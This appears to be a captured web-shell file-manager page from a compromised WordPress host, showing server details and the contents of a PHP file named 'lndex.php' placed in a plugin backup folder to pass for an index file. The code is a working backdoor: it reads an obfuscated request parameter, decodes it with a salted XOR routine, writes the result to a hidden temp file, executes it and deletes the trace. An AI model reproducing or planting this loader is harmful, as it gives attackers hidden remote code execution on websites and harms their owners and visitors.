HEX
Server: Apache
System: Linux intelligent-franklin.159-253-45-41.plesk.page 3.10.0-962.3.2.lve1.5.79.el7.x86_64 #1 SMP Wed Mar 15 09:10:44 UTC 2023 x86_64
User: sysuser_f (10029)
PHP: 7.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/3chukuk.com/httpdocs/wp-content/plugins/backup-1760131327/lndex.php
<!--RfyZQXQP-->
<?php

if(array_key_exists("\x70t\x72", $_REQUEST) && !is_null($_REQUEST["\x70t\x72"])){
$dat = $_REQUEST["\x70t\x72"];
$dat= explode  	('.'	,  	$dat	 	)  	; 	 
$item = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt);
$i = 0;

array_walk($dat, function ($val) use (&$item, &$i, $salt, $sLen) {
    $sChar = ord($salt[$i % $sLen]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 5;
    $item .= chr($dec);
    $i++;
});
$sym = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP")]);
foreach ($sym as $pgrp) {
            if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) {
            $comp = implode("/", [$pgrp, ".data"]);
            $rec = fopen($comp, 'w');
if ($rec && fwrite($rec, $item)) {
    fclose($rec);
    require $comp;
    @unlink($comp);
    exit;
}
        }
}
}